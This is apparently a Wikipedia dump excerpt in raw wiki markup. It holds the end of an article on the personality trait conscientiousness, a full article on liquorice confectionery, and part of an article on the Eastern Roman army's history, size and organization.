A study from 2004 found conscientiousness was significantly negatively correlated with intelligence. Conscientiousness significantly correlated negatively with abstract reasoning (−0.26) and verbal reasoning (−0.23).<ref name="intelligence">{{cite journal|last1=Moutafi|first1=Joanna|last2=Furnham|first2=Adrian|last3=Paltiel|first3=Laurence|title=Why is Conscientiousness negatively correlated with intelligence?|journal=Personality and Individual Differences|year=2004|volume=37|issue=5|pages = 1013–1022|url=http://uk.psytech.com/wp-content/uploads/2013/01/Conscientiousness-and-Intelligence-2004.pdf|doi=10.1016/j.paid.2003.11.010}}</ref>

Large unselected studies, however have found null relationships,<ref name="Luciano2006">Luciano, M., Wainwright, M. A., Wright, M. J., & Martin, N. G. (2006). The heritability of conscientiousness facets and their relationship to IQ and academic achievement. Personality and Individual Differences, 40, 1189–1199.</ref> and the negative relationship sometimes found in selected samples such as universities may result from students whose low ability would reduce their chance of gaining entrance, but who have higher conscientiousness, gaining their GPA via hard work rather than giftedness.<ref name="Murray2014">{{Cite journal | doi = 10.1016/j.paid.2014.06.014| title = How are conscientiousness and cognitive ability related to one another? A re-examination of the intelligence compensation hypothesis| journal = Personality and Individual Differences| volume = 70| pages = 17| year = 2014| last1 = Murray | first1 = A. L. | last2 = Johnson | first2 = W. | last3 = McGue | first3 = M. | last4 = Iacono | first4 = W. G. }}</ref>

A large study found that fluid intelligence was significantly negatively correlated with the order (−0.15), self-discipline (−0.08), and deliberation (−0.09) subfactors of conscientiousness (all correlations significant with ''p'' < 0.001.).<ref>{{cite journal|last1=Moutafi|first1=Joanna|last2=Furnham|first2=Adrian|last3=Crump|first3=John|title=What facets of openness and conscientiousness predict fluid intelligence score?|journal=Learning and Individual Differences|date=2006|volume=16|pages=31–42|url=http://www.sciencedirect.com/science/article/pii/S1041608005000348|doi=10.1016/j.lindif.2005.06.003}}</ref>

=== Political attitudes and obedience to authority ===
Conscientiousness has a weak positive relationship with conservative political attitudes.<ref name="politics meta-analysis">{{cite journal|last1=Sibley|first1=Chris G.|last2=Osborne|first2=Danny|last3=Duckitt|first3=John|title=Personality and political orientation: Meta-analysis and test of a Threat-Constraint Model|journal=Journal of Research in Personality|date=2012|volume=46|issue=6|pages=664–677|doi=10.1016/j.jrp.2012.08.002}}</ref>
Conscientiousness significantly correlates positively with [[right-wing authoritarianism]]. Although right-wing authoritarianism is one of the most powerful predictors of prejudice, a large scale meta-analysis found that conscientiousness itself is uncorrelated with general prejudice.<ref>{{cite journal|last1=Sibley|first1=Chris|last2=Duckitt|first2=John|title=Personality and Prejudice: A Meta-Analysis and Theoretical Review|journal=Pers Soc Psychol Rev|volume=12|issue=3|pages=248|date=2008|doi=10.1177/1088868308319226|pmid=18641385|url=http://psr.sagepub.com/content/12/3/248.abstract}}</ref><ref>{{cite web|last1=Palmer|first1=Carl|title=The Prejudiced Personality? Using the Big Five to Predict Susceptibility to Stereotyping Behavior|url=http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2455759|date=2014|publisher=Illinois State University – Department of Politics and Government}}</ref> Conscientiousness is positively correlated with support for [[capital punishment]].<ref name="death penalty">{{cite journal|last1=Kandola|first1=Sunpreet Singh|last2=Egan|first2=Vincent|title=Individual differences underlying attitudes to the death penalty|journal=Personality and Individual Differences|date=2014|volume=66|pages=48–53|doi=10.1016/j.paid.2014.03.005}}</ref>
Rebellion against control is significantly negatively correlated with conscientiousness.<ref>{{cite journal|last1=Watson|first1=David|title=Procrastination and the ®ve-factor model: a facet level analysis|journal=Personality and Individual Differences|date=2001|volume=30|pages=149–158|url=http://www.researchgate.net/profile/David_Watson14/publication/257044687_Procrastination_and_the_five-factor_model_a_facet_level_analysis/links/0a85e52fd0aa495d2f000000.pdf|doi=10.1016/s0191-8869(00)00019-2}}</ref>

In a [[Milgram experiment]] conscientiousness and agreeableness were associated with willingness to administer high-intensity electric shocks to a victim.<ref>{{cite journal|last1=Bègue|first1=Laurent|last2=Beauvois|first2=Jean-Léon|last3=Courbert|first3=Didier|last4=Oberblé|first4=Dominique|last5=Lepage|first5=Johan|last6=Duke|first6=Aaron|title=Personality Predicts Obedience in a Milgram Paradigm|journal=Journal of Personality|volume=83|issue=3|pages=299|date=2014|doi=10.1111/jopy.12104|pmid=24798990|url=http://onlinelibrary.wiley.com/doi/10.1111/jopy.12104/abstract}}</ref>

Conscientiousness is associated with rule compliance, obedience and conventional integrity.<ref>{{cite book|last1=Hogan|first1=Robert|last2=Johnson|first2=John|last3=Briggs|first3=Stephen|title=Handbook of Personality Psychology|date=1997|publisher=Academic Press|isbn=978-0-12-134645-4|page=856|url=https://books.google.com/books?id=gTdWltAv_scC&lpg=PA856&dq=Conscientiousness%20conformity&pg=PR4#v=onepage&q=Conscientiousness%20conformity&f=false}}</ref>

Conscientiousness also correlates with the [[Moral Foundations Theory|moral foundations]] related to conservatism. (Ingroup-Loyalty (.25), Authority-Respect(.29), Purity-Sanctity(.27))<ref>{{cite journal|last1=Hirsh|first1=J. B.|last2=DeYoung|first2=C. G.|last3=Xiaowen Xu|last4=Peterson|first4=J. B.|title=Compassionate Liberals and Polite Conservatives: Associations of Agreeableness With Political Ideology and Moral Values|journal=Personality and Social Psychology Bulletin|date=6 April 2010|volume=36|issue=5|pages=655–664|doi=10.1177/0146167210366854|pmid=20371797}} See p. 660.</ref>

=== Creativity ===
The dependability subfactors (order, dutifulness, and deliberation) of conscientiousness correlate negatively with creativity while the achievement subfactors correlate positively.<ref>{{cite journal|last1=Reiter-Palmon|first1=Roni|last2=Illies|first2=Jody|last3=Kobe-Cross|first3=Lisa|title=Conscientiousness Is Not Always a Good Predictor of Performance: The Case of Creativity|journal=The international journal of creativity & problem solving|date=2009|volume=19|pages=27–45|url=http://digitalcommons.unomaha.edu/cgi/viewcontent.cgi?article=1017&context=psychfacpub}}</ref> Another study showed that people who score high on the order subfactor of conscientiousness show less innovative behavior.<ref>{{cite web|last1=Bakx|first1=Nina|title=Which personality traits do innovative people possess?|url=http://dare.uva.nl/cgi/arno/show.cgi?fid=53286|publisher=Universiteit van Amsterdam}}</ref> Group conscientiousness has a negative effect on group performance during creative tasks.<ref>{{cite journal|last1=Robert|first1=Christopher|last2=Cheung|first2=Yu Ha|title=An examination of the relationship between conscientiousness and group performance on a creative task|journal=Journal of Research in Personality|date=April 2010|volume=44|issue=2|pages=222–231|doi=10.1016/j.jrp.2010.01.005}}</ref> Groups with only conscientious members have difficulty solving open-ended problems.<ref>{{cite book|last1=Colarelli|first1=Stephen|title=No best way : an evolutionary perspective on human resource management|date=2003|publisher=Westport, Conn. : Praeger|isbn=0-275-95739-X|page=159|url=https://books.google.com/books?id=d-Y4T70Ws5UC&lpg=PA159&dq=conscientiousness%20authority&pg=PA159#v=onepage&q=conscientiousness&f=false}}</ref>

=== Adaptability ===
A study from 2006 found that those scoring low on conscientiousness make better decisions after unanticipated changes in the context of a task. Specifically, the subfactors order, dutifulness, and deliberation negatively correlated with decision-making quality, but not competence, achievement striving, and self-discipline.<ref>{{cite journal|last1=Lepine|first1=Jeffrey|last2=Colquitt|first2=Jason|last3=Erez|first3=Amir|title=Adaptability to changing task context: effects of general cognitive ability, conscientiousness, and openness to experience|journal=Personnel Psychology|date=2000|volume=53|issue=3|pages=563–593|doi=10.1111/j.1744-6570.2000.tb00214.x|url=http://onlinelibrary.wiley.com/doi/10.1111/j.1744-6570.2000.tb00214.x/abstract}}</ref>

=== Religiosity ===
General religiosity was mainly related to Agreeableness and Conscientiousness of the big five traits .<ref name=Saroglou>{{cite journal|last=Saroglou|first=Vassilis|title=Religion and the five-factors of personality: A meta-analytic review.|journal=Personality and Individual Diffenences|year=2002|pages=15–25}}</ref>

== Geography ==

=== United States ===
Average levels of conscientiousness vary by [[U.S. state|state in the United States]]. People living in the central part, including the states of [[Kansas]], [[Nebraska]], [[Oklahoma]], and [[Missouri]], tend to have higher scores on average than people living in other regions. People in the southwestern states of [[New Mexico]], [[Utah]], and [[Arizona]] also have relatively high average scores on conscientiousness. Among the eastern states, [[Florida]] is the only one that scores in the top ten for this personality trait. The four states with the lowest scores on conscientiousness on average were, in descending order, [[Rhode Island]], [[Hawaii]], [[Maine]], and [[Alaska]].<ref>{{Cite news
| url = http://online.wsj.com/article/SB122211987961064719.html?mod=yhoofront
| title = The United States of Mind. Researchers Identify Regional Personality Traits Across America
| author = Stephanie Simon
| work = [[WSJ.com]]
| date = 2008-09-23
}} Original research article:
{{Cite journal
| author = Peter J. Rentfrow, Samuel D. Gosling and Jeff Potter
| title = A Theory of the Emergence, Persistence, and Expression of Geographic Variation in Psychological Characteristics
| journal = Perspectives on Psychological Science
| volume = 3
| issue = 5
| pages = 339–369
| year = 2008
| url = http://www3.interscience.wiley.com/journal/121394239/abstract
| doi = 10.1111/j.1745-6924.2008.00084.x
| pmid = 26158954
}}</ref>

=== Great Britain ===
A large scale survey of residents of Great Britain found that average levels of all the Big Five, including conscientiousness, vary across regional districts in England, Wales and Scotland. High levels of conscientiousness were found throughout much of Southern England, scattered areas of the Midlands, and most of the Scottish Highlands. Low levels of conscientiousness were observed in London, Wales, and parts of the North of England. Higher mean levels of regional conscientiousness were positively correlated with voting for the Conservative Party, and negatively correlated with voting for the Labour Party, in the 2005 and 2010 elections, and also correlated with a higher proportion of married residents, with higher life expectancy for men and women, fewer long-term health problems, and with lower rates of mortality from stroke, cancer, and heart disease. Higher regional conscientiousness was also correlated with lower median annual income in 2011.<ref name="Great Britain">{{cite journal|last1=Rentfrow|first1=Peter J.|last2=Jokela|first2=Markus|last3=Lamb|first3=Michael E.|title=Regional Personality Differences in Great Britain|journal=PLOS ONE|date=March 24, 2015|volume=10|issue=3|pages=1–20|doi=10.1371/journal.pone.0122245|url=http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0122245}}</ref>

== See also ==
*[[Alternative five model of personality]]
*[[Order (virtue)|Order]]
*[[Personality psychology]]

== References ==
{{reflist|3}}
{{Big Five}}

[[Category:Personality traits]]

Liquorice (confectionery)

2016-09-21T01:54:09Z

PythonCode: Reverted vandalism by Brian.mitchell

{{Infobox prepared food
| name = Liquorice
| image = [[File:Liquorice wheels.jpg|250px]]
| caption = Liquorice wheels
| alternate_name = Black licorice
| country =
| region =
| creator =
| course =
| type = [[Confectionery]]
| served =
| main_ingredient = [[Extract]] of the roots of the [[liquorice]] plant, [[sugar]], binding agent ([[starch]], [[flour]], [[gum arabic]], or [[gelatin]])
| variations =
| calories =
| other =
}}

'''Liquorice''' (spelled '''licorice''' [[spelling differences|in many regions]]) is a [[confectionery|confection]] flavoured with the [[extract]] of the roots of the [[liquorice|liquorice plant]]. A wide variety of liquorice sweets are produced around the world. In North America, liquorice is called '''black licorice''' to distinguish it from similar confectionery varieties that are not flavoured with liquorice extract but commonly manufactured in the form of chewy ropes or tubes. So called "black licorice" is also a widespread flavour in other forms of candy such as jellybeans. In addition to these, various other liquorice-based sweets are sold in the [[United Kingdom]], such as [[liquorice allsorts]]. [[Netherlands|Dutch]] and [[Nordic countries|Nordic]] liquorice characteristically contains [[ammonium chloride]] instead of [[sodium chloride]], prominently so in [[salty liquorice]].

The essential ingredients of liquorice candy are liquorice extract, sugar, and a binder. The base is typically [[starch]]/[[flour]], [[gum arabic]], [[gelatin]], or a combination thereof. Additional ingredients are extra flavouring, [[beeswax]] for a shiny surface, ammonium chloride, and [[molasses]] to give the end product the familiar black colour.<ref>[http://www.venco.nl/downloads/proefwerk_drop_Venco.doc Information on Venco liquorice candy] (In Dutch, MS-Word format)</ref> Ammonium chloride is mainly used in salty liquorice candy, with concentrations up to about 8 percent. However, even regular liquorice candy can contain up to 2 percent ammonium chloride, the taste of which is less prominent due to the higher sugar concentration.<ref>The Dutch manufacturer Meenk offers detailed ingredient lists of its products: [http://www.meenkdrop.nl/zoet.html regular] and [http://www.meenkdrop.nl/zout.html salty] liquorice candy (in Dutch).</ref> Some liquorice candy is flavoured with [[anise]] oil instead of or in combination with liquorice root extract. <ref>[http://www.fda.gov/ForConsumers/ConsumerUpdates/ucm277152.htm Black Licorice: Trick or Treat?] from US Food & Drug Administration, Consumer Updates, Oct. 25,2011.</ref>

==Production==
During manufacturing, the ingredients are dissolved in water and heated to {{convert|135|C|F}}. In order to obtain sweets of the desired shapes, the liquid is poured into molds that are created by impressing holes into a container filled with starch powder. The liquid is then dried and the resulting sweets are sprayed with beeswax to make their surface shiny.<ref>Perry Romanowski, [http://www.enotes.com/how-products-encyclopedia/licorice How Products are Made: Licorice], at enotes.com</ref>

==Health effects==
[[File:Liquorice.jpg|thumb|A Finnish fair special, meter-long liquorice, in various flavours and colours in [[Jyväskylä]], Finland]]
{{Main|Liquorice#Medicine}}
The liquorice-root extract contains the natural sweetener [[glycyrrhizin]], which is over 50 times sweeter than [[sucrose]]. This ingredient has various pharmaceutical properties, the most important ones being that it acts as an [[expectorant]] (facilitating removal of mucus from the lungs by coughing) and that it increases blood pressure. The latter effect can become significant with a daily consumption of 50 g or more of liquorice candy for as little as two weeks.<ref>{{cite journal |last1=Sigurjónsdóttir |first1=H Á |last2=Franzson |first2=L |last3=Manhem |first3=K |last4=Ragnarsson |first4=J |last5=Sigurdsson |first5=G |last6=Wallerstedt |first6=S |title=Liquorice-induced rise in blood pressure: a linear dose-response relationship |journal=Journal of Human Hypertension |volume=15 |issue=8 |pages=549–52 |year=2001 |pmid=11494093 |doi=10.1038/sj.jhh.1001215}}</ref>

Liquorice has several varied uses in herbal medicine, such as acting as a mild laxative by increasing [[prostaglandins]].

Comparative studies of pregnant women suggest that excessive amounts of liquorice (100 g a week) may adversely affect both IQ and behaviour traits of offspring.<ref>{{cite journal |first=Katri |last=Räikkönen |title=Maternal Licorice Consumption and Detrimental Cognitive and Psychiatric Outcomes in Children |journal=[[American Journal of Epidemiology|Am. J. Epidemiol.]] |year=2009 |volume=170 |issue=9 |pages=1137–1146 |doi=10.1093/aje/kwp272 |display-authors=etal}}</ref>

Some people report that black liquorice candy causes their stools to become green,<ref>[http://www.mayoclinic.com/health/stool-color/AN00772 Stool color: When to worry]</ref> although this is probably due to the blue food colouring used by many manufacturers.<ref>[http://www.poopreport.com/Intellectual/Content/Dye/dye.html Green Poop: The Implications Of Food Dye On Poop Color ]</ref><ref>[http://www.heptune.com/poop.html The Scoop on Poop], by Dr. Brenna E. Lorenz, − Division of Natural Sciences, University of Guam</ref><ref>Amber J. Tresca, About.com, http://ibdcrohns.about.com/cs/otherdiseases/a/greenstool.htm</ref><ref>{{cite web|url=http://criticalqq.wordpress.com/2008/02/29/more-poop/ |title=More Poop | Critical QQ |publisher=Criticalqq.wordpress.com |date= |accessdate=2014-03-22}}</ref><ref>{{cite web|author=Post a Question |url=http://www.medhelp.org/posts/Nutrition/Dark-green-feces-but-did-not-eat-anything-green/show/2334 |title=Dark green feces. - Nutrition |publisher=MedHelp |date= |accessdate=2014-03-22}}</ref>

[[Alexander the Great]] supplied his troops with rations of liquorice root whilst marching because of its thirst-quenching qualities.<ref>{{cite book |first=Ed |last=Pearce |title=Food for Thought: Extraordinary Little Chronicles of the World |publisher=O Books |location=New Alresford |year=2004 |page=31 |isbn=978-1-903816-86-8}}</ref>

An excessive amount of black liquorice consumption can cause a [[chloride]]-resistant [[metabolic alkalosis]].

The U.S. [[Food and Drug Administration]] (FDA) advises that black liquorice contains the compound glycyrrhizin, which is the sweetening compound derived from [[liquorice root]]. Glycyrrhizin can cause [[potassium]] levels in the body to fall, triggering abnormal heart rhythms, as well as [[high blood pressure]], [[edema]] (swelling), [[lethargy]], and [[congestive heart failure]] in some people.<ref>[http://www.fda.gov/ForConsumers/ConsumerUpdates/ucm277152.htm Black Licorice: Trick or Treat?] from US Food & Drug Administration, Consumer Updates, Oct. 25,2011.</ref>

==Red liquorice==
[[Image:Licorice.jpg|right|thumb|Red liquorice wheels]]

In many countries there is also a product sometimes known as '''red liquorice''' which is extruded in a way to resemble liquorice strings but made with main flavourings other than liquorice, such as [[strawberry]], [[cherry]], [[raspberry]], or [[cinnamon]]. More recently similar products have been introduced in a wider variety of colours and flavours including [[apple]], [[mango]], [[blackcurrant]], and [[watermelon]], among others. While the common name for this candy has now become "red liquorice" or often simply "liquorice", it does not have the taste of liquorice. "Black" in "black liquorice"/"licorice" would formerly have been redundant and has become a [[retronym]] in North America.

==Notable varieties==

{{div col}}
*[[Black Jack (gum)|Black Jack]]
*[[Choo Choo Bar]]
*[[Crows (candy)|Crows]]
*[[Good & Plenty]]
*[[Haribo]]
*[[Liquorice Allsorts]]
*[[London drops]]
*[[Nigroids|Vigroids (Nigroids)]]
*[[Pontefract Cakes]]
*[[Rips (candy)|Rips]]
*[[Snaps (candy)|Snaps]]
*[[Sugarelly]]
*[[Salty liquorice]]
*[[Turkish Pepper]]
*[[Twizzlers]]
{{div col end}}

==References==
{{reflist}}

==Sources==
{{Commonscat|Liquorice sugar confectionery}}
*[http://www.food-info.net/uk/products/sweets/liquorice.htm Liquorice] at www.food-info.net

{{Traditional British sweets}}

[[Category:Confectionery]]
[[Category:Yorkshire cuisine]]
[[Category:Finnish confectionery]]
[[Category:British confectionery]]
[[Category:Liquorice| ]]
[[Category:Liquorice (confectionery)| ]]

[[de:Lakritze#Lakritze als Süßigkeit]]

Eastern Roman army

2016-07-19T18:42:41Z

PythonCode: Grammar and typo corrections

{{RomanMilitary}}{{Byzantine Military}}
The '''East Roman army''' refers to the army of the Eastern section of the [[Roman Empire]], from the empire's definitive split in 395 AD to the army's reorganization by [[Byzantine theme|themes]] after the permanent loss of [[Syria]], [[Palestine (region)|Palestine]] and [[Egypt]] to the [[Arabs]] in the 7th century during the [[Byzantine-Arab Wars]]. The ''East Roman army'' is the continuation of the [[Late Roman army]] of the 4th century until the [[Byzantine army]] of the 7th century onwards.

The East Roman army was a direct continuation of the eastern portion of the [[late Roman army]], from before the division of the empire. The east Roman army started with the same basic organization as the late Roman army and its [[West Roman army|West Roman counterpart]], but between the 5th and 7th centuries, the cavalry grew more important, the field armies took on more tasks, and the border armies were transformed into local militias.

In the 6th century, the emperor [[Justinian I]], who reigned from 527 to 565, sent much of the East Roman army to try to reconquer the former [[Western Roman Empire]]. In these wars, the East Roman empire reconquered parts of North Africa from the [[Vandal kingdom]] and Italy from the [[Ostrogothic kingdom]], as well as parts of southern [[Spain]]. The power of the army diminished in his reign owing to bubonic plague .In the 7th century, the emperor [[Heraclius]] led the east Roman army against the [[Sassanid empire]], temporarily regaining [[Egypt]] and [[Syria]], and then against the [[Rashidun Caliphate]]. His defeat at the [[Battle of Yarmuk]] would lead to the Islamic conquest of Syria and Egypt, and would force the reorganization of the East Roman army, leading to the [[theme (Byzantine district)|thematic system]] of later [[Byzantine army|Byzantine armies]].

== Sources ==

Much of our evidence for the East Roman army's deployments at the end of the 4th century is contained in a single document, the ''[[Notitia Dignitatum]]'', compiled c. 395-420, a manual of all late Roman public offices, military and civil. The main deficiency with the ''Notitia'' is that it lacks any personnel figures so as to render estimates of army size impossible. However, the ''Notitia'' remains the central source on the late Army's structure due to the dearth of other evidence.

The [[Strategikon of Maurice|Strategikon]] of the Emperor [[Maurice (emperor)|Maurikios]], from the end of the 6th century, describes the cavalry tactics, organization, and equipment of the East Roman army towards the end of this period.<ref name="Elton, Hugh p. 533">Elton, Hugh, "Army and Battle in the Age of Justinian," in Erdkamp, Paul, ''A Companion to the Roman Army'', p. 533.</ref> The [[De re Militari]] of [[Vegetius]], probably from the beginning of the 5th century, calls for reform of the [[West Roman army]], which was similar to the east Roman army. However, the De re Militari emphasizes the revival of earlier Roman practices, and does not provide a clear view of the tactics, organization, and practices of any branch of the [[late Roman army]].

The histories of [[Ammianus Marcellinus]] provide a glimpse of the late Roman army before the division of the [[Roman empire]]. Those of [[Procopius]], especially his [[Procopius#The Wars of Justinian|Wars]] and parts of his [[Procopius#The Buildings of Justinian|Buildings]], written while accompanying the [[magister militum]] [[Belisarius]] during the emperor [[Justinian]]'s wars against the [[Sassanid empire]] and the [[barbarian successor kingdoms]], provide a view of the east Roman army in the period, and its campaigns.<ref name="Elton, Hugh p. 533"/> The histories of [[Agathias]] and [[Menander Protector|Menander]] continue those of Procopius.<ref name="Elton, Hugh p. 533"/>

Another major source for the East Roman army includes the legal codes published in the East Roman empire in the 5th and 6th centuries: the [[Theodosian code]] (438) and the ''[[Corpus Iuris Civilis]]'' (528-39). These compilations of Roman laws dating from the 4th century contain numerous imperial decrees relating to the regulation and administration of the late army.

==Origins and History==

In 395, the death of the last sole Roman emperor, [[Theodosius I]] (r. 379-95), led to the final split of the empire into two political entities, the West (''Occidentale'') and the East (''Orientale''). The system of dual emperors (called ''Augusti'' after the founder of the empire, [[Augustus]]) had been instituted a century earlier by the great reforming emperor [[Diocletian]] (r.284-305). But it had never been envisaged as a political separation, purely as an administrative and military convenience. Decrees issued by either emperor were valid in both halves and the successor of each ''Augustus'' required the recognition of the other. The empire was reunited under one emperor under [[Constantine I]], after 324, under Constantius II, after 353, under Julian, after 361, and Theodosius himself, after 394.

The division into two sections recognized a growing cultural divergence. The common language of the East had always been [[Ancient Greek|Greek]], while that of the West was [[Latin]]. This was not ''per se'' a significant division, as the empire had long been a fusion of Greek and Roman cultures ([[classical civilisation]]) and the Roman ruling class was entirely bilingual. But the rise of [[Christianity]] strained that unity, as the cult was always much more widespread in the East than in the West, which was still largely pagan in 395.{{citation needed|date=September 2013}} Constantine's massive reconstruction of the city of [[Byzantium]] into [[Constantinople]], a second capital to rival Rome, led to the establishment of a separate eastern court and bureaucracy.

Finally, the political split became complete with the collapse of the [[Western Roman Empire|Western empire]] in the early 5th century and its replacement by a number of barbarian Germanic kingdoms. The Western army was dissolved and was incorporated into the barbarian kingdoms.{{citation needed|date=September 2013}} The Eastern empire and army, on the other hand, continued with gradual changes until the Persian and later Arab invasions in the 7th century. These deprived the East Roman empire of its dominions in the Middle East and North Africa, especially Egypt.

===The Army from Theodosius I to Zeno ===
{{stub-section|date=September 2013}}

===The Army from Anastasius to Heraclius===
{{stub-section|date=September 2013}}

==Army Size==
[[Warren Treadgold]] estimates that the east Roman army had about 3,500 ''scolae'' or guards, 104,000 field army soldiers, with an uncertain number of sailors, and 195,500 border army soldiers, again with an uncertain number of sailors, in 395.<ref>Warren Treadgold, ''Byzantium and its Army, 281-1081'', pp. 44-59.</ref>

Treadgold also estimates that the east Roman army had about 150,000 field army soldiers, with an uncertain number of sailors, in 559, late in the period of [[Justinian]].<ref>Warren Treadgold, ''Byzantium and its Army, 281-1081'', pp. 59-64.</ref>

Treadgold also estimates that the east Roman army had about 80,000 field army soldiers, with an uncertain number of sailors, in 641, after the Islamic conquest of Syria and Egypt.<ref>Warren Treadgold, ''Byzantium and its Army, 281-1081'', p. 64.</ref>

=== Numbers ===

The size of the Eastern army in 395 is controversial because the size of individual regiments is not known with any certainty. Plausible estimates of the size of the whole 4th-century army (excluding fleets) range from c. 400,000<ref>Elton (1996) 120</ref> to c. 600,000.<ref name="Jones 1964 683">Jones (1964) 683</ref> This would place the Eastern army in the rough range 200,000 to 300,000, since the army of each division of the empire was roughly equal.<ref>Heather (2005) 247</ref>

The higher end of the range is provided by the late 6th-century military historian [[Agathias]], who gives a global total of 645,000 effectives for the army "in the old days", presumed to mean when the empire was united.<ref>[[Agathias]] ''History'' V.13.7-8; Jones (1964) 680</ref> This figure probably includes fleets, giving a total of c. 600,000 for the army alone. Agathias is supported by [[A.H.M. Jones]]' ''Later Roman Empire'' (1964), which contains the fundamental study of the late Roman army. Jones calculated a similar total of 600,000 (exc. fleets) by applying his own estimates of unit strength to the units listed in the ''Notitia Dignitatum''.<ref name="Jones 1964 683"/> Following Jones, Treadgold suggests 300,000 for the East in 395.<ref name="Treadgold 1995 45">Treadgold (1995) 45</ref>

But there are strong reasons to view 200,000 as more likely:

# Jones' assumptions about unit strengths, based on [[papyri]] evidence from Egypt, are probably too high. A rigorous reassessment of the evidence by R. Duncan-Jones concluded that Jones had overestimated unit sizes by 2-5 times.<ref name="Duncan-Jones 1990 105-17">Duncan-Jones (1990) 105-17</ref>
# The evidence is that regiments were typically one-third understrength in the 4th century.<ref>Elton (1996)</ref> Thus Agathias' 600,000 on paper (if it is based on official figures at all) may in reality have translated into only 400,000 actual troops on the ground.
# Agathias gives a figure of 150,000 for the army in his own time (late 6th century) which is more likely to be accurate than his figures for the 4th century. If Agathias' 4th- and 6th-century figures are taken together, they would imply that Justinian's empire was defended by only half the troops that supposedly defended the earlier empire, despite having to cover even more territory (the reconquered provinces of Italy, Africa and S. Spain), which seems inherently unlikely.

The discrepancy in army size estimates is mainly due to uncertainty about the size of ''limitanei'' regiments, as can be seen by the wide range of estimates in the table below. Jones suggests ''limitanei'' regiments had a similar size to Principate auxilia regiments, averaging 500 men each.<ref>Jones (1964) 681-2</ref> More recent work, which includes new archaeological evidence, tends to the view that units were much smaller, perhaps averaging 250.<ref name="Duncan-Jones 1990 105-17"/><ref>Mattingley (2006) 239</ref>

There is less dispute about ''comitatus'' regiments, because of more evidence. Treadgold estimates the 5 ''comitatus'' armies of the East as containing c. 20,000 men each, for a total of c. 100,000, which constitutes either one-third or one-half of the total army.<ref name="Treadgold 1995 45"/>

About one third of the army units in the ''Notitia'' are cavalry, but cavalry numbers were less than that proportion of the total because cavalry unit sizes were smaller.<ref name="Elton 1996 106">Elton (1996) 106</ref> The available evidence suggests that the proportion of cavalry was about one-fifth of the total effectives: in 478, a ''comitatus'' of 38,000 men contained 8,000 cavalry (21%).<ref>Elton (1996) 105-6</ref>

==Higher Command==
[[File:East Roman army command structure.svg|thumb|right|400px| High command structure of the East Roman army c. 395 AD. Based on the ''[[Notitia Dignitatum]]'', a late Roman manual of official posts]]
The later 4th-century army contained three types of army group: (1) Imperial escort armies (''comitatus praesentales''). These were ordinarily based near Constantinople, but often accompanied the emperors on campaign. (2) Regional armies (''comitatus''). These were based in strategic regions, on or near the frontiers. (3) Border armies (''exercitus limitanei''). These were based on the frontiers themselves.

The command structure of the Eastern army, as recorded in the ''Notitia Dignitatum'', is represented diagramatically in the organisation chart (above).

By the end of the 4th century, there were 2 ''comitatus praesentales'' in the East. They wintered near Constantinople at Nicaea and Nicomedia. Each was commanded by a ''[[magister militum]]'' ("master of soldiers", the highest military rank) Each ''magister'' was assisted by a deputy called a ''vicarius''.<ref name="Jones 1964 609">Jones (1964) 609</ref>

There were 3 major regional ''comitatus'', also with apparently settled winter bases: Oriens (based at [[Antioch]]), Thraciae ([[Marcianopolis]]), Illyricum (Sirmium) plus two smaller forces in Aegyptus (Alexandria) and [[Isauria]]. The large ''comitatus'' were commanded by ''magistri'', the smaller ones by ''comites''. All five reported direct to the eastern ''Augustus''. This structure remained essentially intact until the 6th century.<ref name="Jones 1964 609"/>

==Army Organization==

Units were classified according to whether they were attached to the guard (''[[excubitores]]'' and ''[[scholae]]''), the field armies (''[[palatini (Roman military)|palatini]]'' and ''[[comitatenses]]'') or the border armies (''[[limitanei]]'').

The strength of these units is very uncertain and may have varied over the 5th and 6th centuries. Size may also have varied depending on the status of the regiment. The table below gives some recent estimates of unit strength, by unit type and grade:

{| class = wikitable
|+ '''Estimated size of units in the 4th-century army'''<ref>Data from Duncan-Jones (1990) 105-17; Elton (1996) 89; Goldsworthy (2005) 206; Mattingly (2006) 239</ref>
! Cavalry unit type !! Comitatenses ''(inc. palatini)'' !! Limitanei !! XXXXX !! Infantry unit type !! Comitatenses ''(inc. palatini)'' !! Limitanei
|-
|Ala
|
|120-500
|
|Auxilia
|800-1,200 or 400-600
|400-600
|-
|Cuneus
|
|200-300
|
|Cohors
|
|160-500
|-
|Equites
|
|80-300
|
|Legio
|800-1,200
|500
|-
|Schola
|500
|
|
|Milites
|
|200-300
|-
|Vexillatio
|400-600
|
|
|Numerus
|
|200-300
|}
[[File:Bodl Canon.Misc.378 roll159B frame28.jpg|thumb|200px|right|Shield insignia of regiments under the command of the ''Magister Militum Praesentalis II'' of the East Roman army c. 395 AD. Page from the ''Notitia Dignitatum'']]
The overall picture is that ''comitatenses'' units were either c. 1,000 or c. 500 strong. ''Limitanei'' units would appear to average about 250 effectives. But much uncertainty remains, especially regarding the size of ''limitanei'' regiments, as can be seen by the wide ranges of the size estimates.

===Excubitores===
{{Main|Excubitores}}

The Emperor [[Leo I the Thracian|Leo I]] created the ''Excubitores'' as an elite bodyguard of about 300 soldiers.<ref>Treadgold, Warren, ''Byzantium and its Army, 284-1081'', p. 92.</ref> However, the intrigues and political ambitions of their commanders (The Counts of the Excubitors, rendered in Latin as comes excubitorum) such as [[Priscus (general)|Priscus]] during the reigns of the Emperors [[Maurice (emperor)|Maurice]], [[Phocas]] and [[Heraclius]] and the [[Valentinus (usurper)|Count Valentinus]] during the reign of Emperor [[Constans II]], doomed Leo I's formerly famed Isaurian unit to obscurity.

===Scholae===
{{main|Scholae Palatinae}}

The emperor [[Constantine I]] created the ''Scholae Palatinae'' as an elite guards unit of about 6,000 soldiers,<ref>Treadgold, Warren, ''Byzantium and its Army, 284-1081'', page 54. cites this as their strength in the ''Notitia'', although not necessarily the strength at their founding.</ref> and to replace the [[Praetorian Guard]] of about 10,000 soldiers.<ref>Le Bohec, Yann, ''The Imperial Roman Army'', p. 21, claims 10 cohorts of 1,000 soldiers each, from the Severan period on.</ref> 40 select troops from the ''scholae'', called ''candidati'' from their white uniforms, acted as the emperor's personal bodyguards.<ref>Jones (1964) 613</ref> Apart from the ''[[Agentes in rebus|Agentes in Rebus]]'', the ''Scholae'' were originally organized as cavalry units to accompany the emperors on campaign, although later, individual members of the ''Scholae'' could have non-military missions.<ref name="Treadgold, Warren page 92">Treadgold, Warren, ''Byzantium and its Army, 284-1081'', page 92.</ref> Eventually, [[Justinian]] auctioned off positions in what was still a prestigious ceremonial unit, but no longer a fighting force.<ref name="Treadgold, Warren page 92"/>

